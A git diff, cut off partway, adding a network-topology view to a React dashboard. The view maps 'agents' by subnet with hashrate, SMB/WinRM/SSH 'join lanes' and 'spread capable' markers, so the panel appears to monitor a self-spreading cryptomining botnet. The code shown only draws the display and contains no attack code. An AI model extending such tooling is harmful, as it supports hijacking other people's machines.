||||||
</Suspense>
|
</Suspense>
|
||||||
</Layout>
|
</Layout>
|
||||||
|
|||||||
@@ -10,7 +10,9 @@ import {
|
|||||||
layoutAgentPoints,
|
layoutAgentPoints,
|
||||||
layoutComradePoints,
|
layoutComradePoints,
|
||||||
} from '../../help/fleetHeatMap';
|
} from '../../help/fleetHeatMap';
|
||||||
|
import NetworkTopoMap from './NetworkTopoMap';
|
||||||
import './FleetHeatMiniMap.css';
|
import './FleetHeatMiniMap.css';
|
||||||
|
import './NetworkTopoMap.css';
|
||||||
|
|
||||||
interface FleetHeatMiniMapProps {
|
interface FleetHeatMiniMapProps {
|
||||||
agents: Agent[];
|
agents: Agent[];
|
||||||
@@ -30,6 +32,7 @@ export default function FleetHeatMiniMap({
|
|||||||
const { comrades } = usePresence();
|
const { comrades } = usePresence();
|
||||||
const prevHashrateRef = useRef<Record<string, number>>({});
|
const prevHashrateRef = useRef<Record<string, number>>({});
|
||||||
const [spikingIds, setSpikingIds] = useState<Set<string>>(() => new Set());
|
const [spikingIds, setSpikingIds] = useState<Set<string>>(() => new Set());
|
||||||
|
const [view, setView] = useState<'heat' | 'topo'>('heat');
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const spikes = new Set<string>();
|
const spikes = new Set<string>();
|
||||||
@@ -58,14 +61,46 @@ export default function FleetHeatMiniMap({
|
|||||||
<div className="fleet-heat-minimap">
|
<div className="fleet-heat-minimap">
|
||||||
<div className="fleet-heat-header font-tech">
|
<div className="fleet-heat-header font-tech">
|
||||||
<span className="section-ornament">◆</span>
|
<span className="section-ornament">◆</span>
|
||||||
FLEET HEAT
|
{view === 'heat' ? 'FLEET HEAT' : 'NETWORK MAP'}
|
||||||
<span className="fleet-heat-count">
|
<span className="fleet-heat-count">
|
||||||
{onlineCount}/{agents.length}
|
{onlineCount}/{agents.length}
|
||||||
</span>
|
</span>
|
||||||
|
{/* HEAT / TOPO view toggle */}
|
||||||
|
<span style={{ marginLeft: 'auto', display: 'flex', gap: '0.2rem' }}>
|
||||||
|
{(['heat', 'topo'] as const).map((v) => (
|
||||||
|
<button
|
||||||
|
key={v}
|
||||||
|
type="button"
|
||||||
|
onClick={() => setView(v)}
|
||||||
|
style={{
|
||||||
|
padding: '0.1rem 0.4rem',
|
||||||
|
fontSize: '0.55rem',
|
||||||
|
fontFamily: 'inherit',
|
||||||
|
letterSpacing: '0.06em',
|
||||||
|
background: view === v ? 'rgba(0,232,245,0.15)' : 'none',
|
||||||
|
border: `1px solid ${view === v ? 'rgba(0,232,245,0.5)' : 'rgba(0,232,245,0.18)'}`,
|
||||||
|
borderRadius: '3px',
|
||||||
|
color: view === v ? 'var(--neon-cyan)' : 'var(--text-muted)',
|
||||||
|
cursor: 'pointer',
|
||||||
|
transition: 'all 0.15s',
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{v.toUpperCase()}
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{agents.length === 0 ? (
|
{agents.length === 0 ? (
|
||||||
<p className="fleet-heat-empty">No nodes yet — deploy a build to see the map.</p>
|
<p className="fleet-heat-empty">No nodes yet — deploy a build to see the map.</p>
|
||||||
|
) : view === 'topo' ? (
|
||||||
|
<NetworkTopoMap
|
||||||
|
agents={agents}
|
||||||
|
groups={groups}
|
||||||
|
allIds={allIds}
|
||||||
|
selectedIds={selectedIds}
|
||||||
|
onSelectAgent={onSelectAgent}
|
||||||
|
/>
|
||||||
) : (
|
) : (
|
||||||
<div
|
<div
|
||||||
className="fleet-heat-canvas"
|
className="fleet-heat-canvas"
|
||||||
|
|||||||
286
server/web/src/components/Fleet/NetworkTopoMap.css
Normal file
286
server/web/src/components/Fleet/NetworkTopoMap.css
Normal file
@@ -0,0 +1,286 @@
|
|||||||
|
/* ── Network Topology Map ────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
/* Container */
|
||||||
|
.net-topo-wrap {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.5rem;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* SVG canvas */
|
||||||
|
.net-topo-svg {
|
||||||
|
width: 100%;
|
||||||
|
aspect-ratio: 1;
|
||||||
|
min-height: 200px;
|
||||||
|
border-radius: 8px;
|
||||||
|
border: 1px solid rgba(0, 232, 245, 0.18);
|
||||||
|
background:
|
||||||
|
radial-gradient(ellipse at 50% 45%, rgba(0, 232, 245, 0.06) 0%, transparent 70%),
|
||||||
|
rgba(0, 0, 0, 0.5);
|
||||||
|
display: block;
|
||||||
|
overflow: visible;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Subnet bubbles ──────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-subnet-bubble {
|
||||||
|
fill: transparent;
|
||||||
|
stroke-width: 0.6;
|
||||||
|
opacity: 0.85;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-subnet-label {
|
||||||
|
font-size: 2.2px;
|
||||||
|
font-family: 'Share Tech Mono', 'Courier New', monospace;
|
||||||
|
fill-opacity: 0.6;
|
||||||
|
letter-spacing: 0.15px;
|
||||||
|
pointer-events: none;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Edges ───────────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-edge {
|
||||||
|
stroke-linecap: round;
|
||||||
|
pointer-events: none;
|
||||||
|
transition: opacity 0.2s, stroke-width 0.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-edge--subnet {
|
||||||
|
stroke-opacity: 0.18;
|
||||||
|
stroke-width: 0.3;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-edge--subnet.active {
|
||||||
|
stroke-opacity: 0.55;
|
||||||
|
stroke-width: 0.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* SMB / WinRM / spread edges — animated dash */
|
||||||
|
.topo-edge--spread,
|
||||||
|
.topo-edge--smb,
|
||||||
|
.topo-edge--winrm,
|
||||||
|
.topo-edge--ssh,
|
||||||
|
.topo-edge--cross_subnet {
|
||||||
|
stroke-width: 0.4;
|
||||||
|
stroke-opacity: 0.15;
|
||||||
|
stroke-dasharray: 1.2 1.8;
|
||||||
|
animation: topo-dash 2.5s linear infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-edge--spread.active,
|
||||||
|
.topo-edge--smb.active,
|
||||||
|
.topo-edge--winrm.active,
|
||||||
|
.topo-edge--ssh.active,
|
||||||
|
.topo-edge--cross_subnet.active {
|
||||||
|
stroke-opacity: 0.85;
|
||||||
|
stroke-width: 0.65;
|
||||||
|
animation-duration: 1.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes topo-dash {
|
||||||
|
to { stroke-dashoffset: -6; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Edge colors */
|
||||||
|
.topo-edge--smb { stroke: #ffb020; }
|
||||||
|
.topo-edge--winrm { stroke: #b24bf3; }
|
||||||
|
.topo-edge--ssh { stroke: #39ff14; }
|
||||||
|
.topo-edge--spread { stroke: #00e8f5; }
|
||||||
|
.topo-edge--cross_subnet { stroke: #ff6b35; stroke-dasharray: 0.8 2.2; }
|
||||||
|
|
||||||
|
/* ── Nodes ───────────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-node-circle {
|
||||||
|
transition: r 0.15s, filter 0.15s;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-node-circle--online {
|
||||||
|
filter: drop-shadow(0 0 1.2px var(--node-color, #00e8f5));
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-node-circle--offline {
|
||||||
|
opacity: 0.28;
|
||||||
|
filter: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-node-circle--selected {
|
||||||
|
r: 3.2;
|
||||||
|
filter:
|
||||||
|
drop-shadow(0 0 2px #fff)
|
||||||
|
drop-shadow(0 0 4px var(--node-color, #00e8f5));
|
||||||
|
animation: topo-node-pulse 1.4s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes topo-node-pulse {
|
||||||
|
0%, 100% { filter: drop-shadow(0 0 2px #fff) drop-shadow(0 0 4px var(--node-color)); }
|
||||||
|
50% { filter: drop-shadow(0 0 3.5px #fff) drop-shadow(0 0 7px var(--node-color)); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-node-ring {
|
||||||
|
fill: none;
|
||||||
|
stroke-width: 0.5;
|
||||||
|
opacity: 0.6;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-node-icon {
|
||||||
|
font-size: 2.8px;
|
||||||
|
text-anchor: middle;
|
||||||
|
dominant-baseline: central;
|
||||||
|
pointer-events: none;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Hashrate spike flash */
|
||||||
|
.topo-node-spike {
|
||||||
|
animation: topo-spike 1.1s ease-out forwards;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes topo-spike {
|
||||||
|
0% { r: 2.2; opacity: 1; }
|
||||||
|
40% { r: 5.5; opacity: 0.7; }
|
||||||
|
100% { r: 2.2; opacity: 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Tooltip ─────────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-tooltip {
|
||||||
|
position: fixed;
|
||||||
|
z-index: 9999;
|
||||||
|
pointer-events: none;
|
||||||
|
background: rgba(5, 8, 15, 0.96);
|
||||||
|
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 0.55rem 0.75rem;
|
||||||
|
font-family: 'Share Tech Mono', 'Courier New', monospace;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: #c8d8e8;
|
||||||
|
min-width: 160px;
|
||||||
|
box-shadow:
|
||||||
|
0 0 0 1px rgba(0, 232, 245, 0.08),
|
||||||
|
0 6px 24px rgba(0, 0, 0, 0.7),
|
||||||
|
0 0 18px rgba(0, 232, 245, 0.12);
|
||||||
|
backdrop-filter: blur(8px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-tooltip-name {
|
||||||
|
font-size: 0.78rem;
|
||||||
|
font-weight: 700;
|
||||||
|
color: var(--neon-cyan, #00e8f5);
|
||||||
|
margin-bottom: 0.3rem;
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-tooltip-row {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 0.75rem;
|
||||||
|
color: var(--text-muted, #8899aa);
|
||||||
|
font-size: 0.66rem;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-tooltip-row span:last-child {
|
||||||
|
color: #c8d8e8;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-tooltip-lane {
|
||||||
|
display: inline-block;
|
||||||
|
margin-top: 0.3rem;
|
||||||
|
padding: 0.1rem 0.4rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-tooltip-lane--smb { background: rgba(255,176,32,0.18); color: #ffb020; border: 1px solid rgba(255,176,32,0.3); }
|
||||||
|
.topo-tooltip-lane--winrm { background: rgba(178,75,243,0.18); color: #b24bf3; border: 1px solid rgba(178,75,243,0.3); }
|
||||||
|
.topo-tooltip-lane--ssh { background: rgba(57,255,20,0.12); color: #39ff14; border: 1px solid rgba(57,255,20,0.25); }
|
||||||
|
.topo-tooltip-lane--spread { background: rgba(0,232,245,0.12); color: #00e8f5; border: 1px solid rgba(0,232,245,0.25); }
|
||||||
|
|
||||||
|
/* ── Legend ──────────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-legend {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.35rem 0.6rem;
|
||||||
|
font-family: 'Share Tech Mono', 'Courier New', monospace;
|
||||||
|
font-size: 0.6rem;
|
||||||
|
color: var(--text-muted, #8899aa);
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-legend-item {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-legend-line {
|
||||||
|
display: inline-block;
|
||||||
|
width: 14px;
|
||||||
|
height: 2px;
|
||||||
|
border-radius: 1px;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-legend-line--subnet { background: rgba(200,216,232,0.35); }
|
||||||
|
.topo-legend-line--smb { background: #ffb020; }
|
||||||
|
.topo-legend-line--winrm { background: #b24bf3; }
|
||||||
|
.topo-legend-line--ssh { background: #39ff14; }
|
||||||
|
.topo-legend-line--cross_subnet{ background: #ff6b35; }
|
||||||
|
|
||||||
|
/* ── Mode tabs ───────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-mode-tabs {
|
||||||
|
display: flex;
|
||||||
|
gap: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-mode-tab {
|
||||||
|
padding: 0.18rem 0.5rem;
|
||||||
|
font-size: 0.6rem;
|
||||||
|
font-family: 'Share Tech Mono', 'Courier New', monospace;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
background: none;
|
||||||
|
border: 1px solid rgba(0, 232, 245, 0.18);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: var(--text-muted, #8899aa);
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.15s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-mode-tab:hover {
|
||||||
|
border-color: rgba(0, 232, 245, 0.5);
|
||||||
|
color: #c8d8e8;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topo-mode-tab.active {
|
||||||
|
background: rgba(0, 232, 245, 0.12);
|
||||||
|
border-color: rgba(0, 232, 245, 0.5);
|
||||||
|
color: var(--neon-cyan, #00e8f5);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Empty state ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-empty {
|
||||||
|
margin: 0;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--text-muted, #8899aa);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Segmentation wall ───────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.topo-seg-wall {
|
||||||
|
stroke: rgba(255, 100, 50, 0.12);
|
||||||
|
stroke-width: 0.2;
|
||||||
|
stroke-dasharray: 0.5 1;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
518
server/web/src/components/Fleet/NetworkTopoMap.tsx
Normal file
518
server/web/src/components/Fleet/NetworkTopoMap.tsx
Normal file
@@ -0,0 +1,518 @@
|
|||||||
|
import { useMemo, useState, useRef, useCallback, useEffect } from 'react';
|
||||||
|
import type { Agent } from '../../types';
|
||||||
|
import type { FleetGroup } from '../../help/fleetGroups';
|
||||||
|
import { formatHashrate } from '../../help/fleetFilters';
|
||||||
|
import {
|
||||||
|
groupBySubnet,
|
||||||
|
layoutSubnets,
|
||||||
|
layoutNodes,
|
||||||
|
buildEdges,
|
||||||
|
type TopoNode,
|
||||||
|
type TopoEdge,
|
||||||
|
type SubnetLayout,
|
||||||
|
} from '../../help/networkTopology';
|
||||||
|
import { agentAccentColor } from '../../help/fleetHeatMap';
|
||||||
|
import './NetworkTopoMap.css';
|
||||||
|
|
||||||
|
// ── Types ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export type TopoMode = 'subnet' | 'spread' | 'flat';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
agents: Agent[];
|
||||||
|
groups: FleetGroup[];
|
||||||
|
allIds: string[];
|
||||||
|
selectedIds: Set<string>;
|
||||||
|
onSelectAgent: (id: string) => void;
|
||||||
|
mode?: TopoMode;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Platform icon helper ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function platformIcon(platform: string): string {
|
||||||
|
const p = platform.toLowerCase();
|
||||||
|
if (p.includes('win')) return '⊞';
|
||||||
|
if (p.includes('linux')) return '🐧';
|
||||||
|
if (p.includes('darwin')) return '';
|
||||||
|
return '⬡';
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Hashrate spike tracking ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const SPIKE_RATIO = 1.3;
|
||||||
|
const SPIKE_MIN = 50;
|
||||||
|
|
||||||
|
function detectSpikes(
|
||||||
|
agents: Agent[],
|
||||||
|
prev: Record<string, number>,
|
||||||
|
): { spikes: Set<string>; next: Record<string, number> } {
|
||||||
|
const spikes = new Set<string>();
|
||||||
|
const next: Record<string, number> = {};
|
||||||
|
for (const a of agents) {
|
||||||
|
const cur = a.hashrate_15s ?? 0;
|
||||||
|
const p = prev[a.id];
|
||||||
|
if (cur > 0 && (p === undefined || p <= 0 ? cur >= SPIKE_MIN : cur - p >= SPIKE_MIN && cur >= p * SPIKE_RATIO)) {
|
||||||
|
spikes.add(a.id);
|
||||||
|
}
|
||||||
|
next[a.id] = cur;
|
||||||
|
}
|
||||||
|
return { spikes, next };
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Tooltip component ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
interface TooltipState {
|
||||||
|
node: TopoNode;
|
||||||
|
x: number;
|
||||||
|
y: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
function NodeTooltip({ tip }: { tip: TooltipState }) {
|
||||||
|
const { node, x, y } = tip;
|
||||||
|
const laneClass = node.joinLane ? `topo-tooltip-lane--${node.joinLane}` : 'topo-tooltip-lane--spread';
|
||||||
|
|
||||||
|
// Clamp tooltip to viewport
|
||||||
|
const tipW = 175;
|
||||||
|
const tipH = 130;
|
||||||
|
const left = Math.min(x + 12, window.innerWidth - tipW - 8);
|
||||||
|
const top = Math.min(y + 12, window.innerHeight - tipH - 8);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="topo-tooltip"
|
||||||
|
style={{ left, top }}
|
||||||
|
>
|
||||||
|
<div className="topo-tooltip-name">
|
||||||
|
{platformIcon(node.platform)} {node.label}
|
||||||
|
</div>
|
||||||
|
<div className="topo-tooltip-row">
|
||||||
|
<span>IP</span><span>{node.ip}</span>
|
||||||
|
</div>
|
||||||
|
<div className="topo-tooltip-row">
|
||||||
|
<span>Subnet</span><span>{node.subnet === 'unknown' ? '—' : node.subnet.replace('.0/24', '.x')}</span>
|
||||||
|
</div>
|
||||||
|
<div className="topo-tooltip-row">
|
||||||
|
<span>Status</span>
|
||||||
|
<span style={{ color: node.online ? '#39ff14' : '#ff4444' }}>
|
||||||
|
{node.online ? 'ONLINE' : 'OFFLINE'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
{node.hashrate > 0 && (
|
||||||
|
<div className="topo-tooltip-row">
|
||||||
|
<span>Hashrate</span><span>{formatHashrate(node.hashrate)}</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{node.latencyMs !== undefined && node.online && (
|
||||||
|
<div className="topo-tooltip-row">
|
||||||
|
<span>Latency</span><span>{node.latencyMs}ms</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{node.joinLane && (
|
||||||
|
<div>
|
||||||
|
<span className={`topo-tooltip-lane ${laneClass}`}>
|
||||||
|
{node.joinLane.toUpperCase()} lane
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{node.canSpread && (
|
||||||
|
<div>
|
||||||
|
<span className="topo-tooltip-lane topo-tooltip-lane--spread">
|
||||||
|
SPREAD CAPABLE
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Subnet bubble ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function SubnetBubble({ layout }: { layout: SubnetLayout }) {
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
{/* Outer glow ring */}
|
||||||
|
<circle
|
||||||
|
cx={layout.cx}
|
||||||
|
cy={layout.cy}
|
||||||
|
r={layout.r + 1.5}
|
||||||
|
fill="none"
|
||||||
|
stroke={layout.color}
|
||||||
|
strokeWidth={0.3}
|
||||||
|
strokeOpacity={0.12}
|
||||||
|
/>
|
||||||
|
{/* Main bubble */}
|
||||||
|
<circle
|
||||||
|
className="topo-subnet-bubble"
|
||||||
|
cx={layout.cx}
|
||||||
|
cy={layout.cy}
|
||||||
|
r={layout.r}
|
||||||
|
stroke={layout.color}
|
||||||
|
strokeDasharray="2 1.5"
|
||||||
|
/>
|
||||||
|
{/* Fill */}
|
||||||
|
<circle
|
||||||
|
cx={layout.cx}
|
||||||
|
cy={layout.cy}
|
||||||
|
r={layout.r}
|
||||||
|
fill={layout.color}
|
||||||
|
fillOpacity={0.03}
|
||||||
|
pointerEvents="none"
|
||||||
|
/>
|
||||||
|
{/* Label */}
|
||||||
|
<text
|
||||||
|
className="topo-subnet-label"
|
||||||
|
x={layout.cx}
|
||||||
|
y={layout.cy - layout.r + 2.8}
|
||||||
|
textAnchor="middle"
|
||||||
|
fill={layout.color}
|
||||||
|
>
|
||||||
|
{layout.label}
|
||||||
|
</text>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Edge ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function TopoEdgeEl({
|
||||||
|
edge,
|
||||||
|
nodeMap,
|
||||||
|
mode,
|
||||||
|
}: {
|
||||||
|
edge: TopoEdge;
|
||||||
|
nodeMap: Map<string, TopoNode>;
|
||||||
|
mode: TopoMode;
|
||||||
|
}) {
|
||||||
|
const src = nodeMap.get(edge.sourceId);
|
||||||
|
const tgt = nodeMap.get(edge.targetId);
|
||||||
|
if (!src || !tgt) return null;
|
||||||
|
|
||||||
|
// In spread mode, only show spread/protocol edges
|
||||||
|
if (mode === 'spread' && edge.kind === 'subnet') return null;
|
||||||
|
// In subnet mode, still show spread edges but dimmer unless active
|
||||||
|
const opacity = mode === 'flat' ? 0.1 : undefined;
|
||||||
|
|
||||||
|
const colorMap: Record<string, string> = {
|
||||||
|
subnet: 'rgba(200,216,232,0.25)',
|
||||||
|
spread: '#00e8f5',
|
||||||
|
smb: '#ffb020',
|
||||||
|
winrm: '#b24bf3',
|
||||||
|
ssh: '#39ff14',
|
||||||
|
cross_subnet: '#ff6b35',
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<line
|
||||||
|
className={`topo-edge topo-edge--${edge.kind} ${edge.active ? 'active' : ''}`}
|
||||||
|
x1={src.x}
|
||||||
|
y1={src.y}
|
||||||
|
x2={tgt.x}
|
||||||
|
y2={tgt.y}
|
||||||
|
stroke={colorMap[edge.kind] ?? '#00e8f5'}
|
||||||
|
style={opacity !== undefined ? { opacity } : undefined}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Node ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function TopoNodeEl({
|
||||||
|
node,
|
||||||
|
selected,
|
||||||
|
spiking,
|
||||||
|
color,
|
||||||
|
onHover,
|
||||||
|
onLeave,
|
||||||
|
onClick,
|
||||||
|
}: {
|
||||||
|
node: TopoNode;
|
||||||
|
selected: boolean;
|
||||||
|
spiking: boolean;
|
||||||
|
color: string;
|
||||||
|
onHover: (node: TopoNode, e: React.MouseEvent) => void;
|
||||||
|
onLeave: () => void;
|
||||||
|
onClick: (id: string) => void;
|
||||||
|
}) {
|
||||||
|
const r = selected ? 3.0 : 2.1;
|
||||||
|
const statusCls = node.online
|
||||||
|
? selected ? 'topo-node-circle--online topo-node-circle--selected' : 'topo-node-circle--online'
|
||||||
|
: 'topo-node-circle--offline';
|
||||||
|
|
||||||
|
return (
|
||||||
|
<g
|
||||||
|
style={{ cursor: 'pointer' }}
|
||||||
|
onClick={() => onClick(node.id)}
|
||||||
|
onMouseEnter={(e) => onHover(node, e)}
|
||||||
|
onMouseLeave={onLeave}
|
||||||
|
>
|
||||||
|
{/* Spike flash ring */}
|
||||||
|
{spiking && (
|
||||||
|
<circle
|
||||||
|
cx={node.x}
|
||||||
|
cy={node.y}
|
||||||
|
r={r}
|
||||||
|
fill={color}
|
||||||
|
fillOpacity={0.5}
|
||||||
|
className="topo-node-spike"
|
||||||
|
style={{ '--node-color': color } as React.CSSProperties}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Selection ring */}
|
||||||
|
{selected && (
|
||||||
|
<circle
|
||||||
|
cx={node.x}
|
||||||
|
cy={node.y}
|
||||||
|
r={r + 1.6}
|
||||||
|
className="topo-node-ring"
|
||||||
|
stroke={color}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Spread-capable indicator ring */}
|
||||||
|
{node.canSpread && !selected && node.online && (
|
||||||
|
<circle
|
||||||
|
cx={node.x}
|
||||||
|
cy={node.y}
|
||||||
|
r={r + 0.8}
|
||||||
|
fill="none"
|
||||||
|
stroke={color}
|
||||||
|
strokeWidth={0.25}
|
||||||
|
strokeOpacity={0.4}
|
||||||
|
strokeDasharray="0.6 0.6"
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Main dot */}
|
||||||
|
<circle
|
||||||
|
cx={node.x}
|
||||||
|
cy={node.y}
|
||||||
|
r={r}
|
||||||
|
fill={color}
|
||||||
|
className={`topo-node-circle ${statusCls}`}
|
||||||
|
style={{ '--node-color': color } as React.CSSProperties}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Platform icon — only rendered at reasonable sizes */}
|
||||||
|
<text
|
||||||
|
x={node.x}
|
||||||
|
y={node.y}
|
||||||
|
className="topo-node-icon"
|
||||||
|
fillOpacity={node.online ? 0.9 : 0.4}
|
||||||
|
style={{ fontSize: selected ? '3.2px' : '2.6px', fill: '#000' }}
|
||||||
|
>
|
||||||
|
{node.platform.includes('win') ? '⊞' : node.platform.includes('linux') ? '⬡' : node.platform.includes('darwin') ? '◉' : '·'}
|
||||||
|
</text>
|
||||||
|
</g>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Grid / background ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function TopoGrid() {
|
||||||
|
return (
|
||||||
|
<g pointerEvents="none">
|
||||||
|
{/* Horizontal lines */}
|
||||||
|
{[20, 40, 60, 80].map((y) => (
|
||||||
|
<line key={`h${y}`} x1={0} y1={y} x2={100} y2={y}
|
||||||
|
stroke="rgba(0,232,245,0.04)" strokeWidth={0.3} />
|
||||||
|
))}
|
||||||
|
{/* Vertical lines */}
|
||||||
|
{[20, 40, 60, 80].map((x) => (
|
||||||
|
<line key={`v${x}`} x1={x} y1={0} x2={x} y2={100}
|
||||||
|
stroke="rgba(0,232,245,0.04)" strokeWidth={0.3} />
|
||||||
|
))}
|
||||||
|
</g>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Legend ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function TopoLegend({ hasSpread }: { hasSpread: boolean }) {
|
||||||
|
return (
|
||||||
|
<div className="topo-legend">
|
||||||
|
<span className="topo-legend-item">
|
||||||
|
<span className="topo-legend-line topo-legend-line--subnet" />
|
||||||
|
Reachable
|
||||||
|
</span>
|
||||||
|
{hasSpread && (
|
||||||
|
<>
|
||||||
|
<span className="topo-legend-item">
|
||||||
|
<span className="topo-legend-line topo-legend-line--smb" />
|
||||||
|
SMB
|
||||||
|
</span>
|
||||||
|
<span className="topo-legend-item">
|
||||||
|
<span className="topo-legend-line topo-legend-line--winrm" />
|
||||||
|
WinRM
|
||||||
|
</span>
|
||||||
|
<span className="topo-legend-item">
|
||||||
|
<span className="topo-legend-line topo-legend-line--ssh" />
|
||||||
|
SSH
|
||||||
|
</span>
|
||||||
|
<span className="topo-legend-item">
|
||||||
|
<span className="topo-legend-line topo-legend-line--cross_subnet" />
|
||||||
|
Cross-subnet
|
||||||
|
</span>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main component ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export default function NetworkTopoMap({
|
||||||
|
agents,
|
||||||
|
groups: _groups,
|
||||||
|
allIds,
|
||||||
|
selectedIds,
|
||||||
|
onSelectAgent,
|
||||||
|
mode: externalMode,
|
||||||
|
}: Props) {
|
||||||
|
const [mode, setMode] = useState<TopoMode>(externalMode ?? 'subnet');
|
||||||
|
const [tooltip, setTooltip] = useState<TooltipState | null>(null);
|
||||||
|
const [spikingIds, setSpikingIds] = useState<Set<string>>(new Set());
|
||||||
|
const prevHashRef = useRef<Record<string, number>>({});
|
||||||
|
const svgRef = useRef<SVGSVGElement>(null);
|
||||||
|
|
||||||
|
// Spike detection
|
||||||
|
useEffect(() => {
|
||||||
|
const { spikes, next } = detectSpikes(agents, prevHashRef.current);
|
||||||
|
prevHashRef.current = next;
|
||||||
|
if (spikes.size === 0) return;
|
||||||
|
setSpikingIds(spikes);
|
||||||
|
const t = setTimeout(() => setSpikingIds(new Set()), 1300);
|
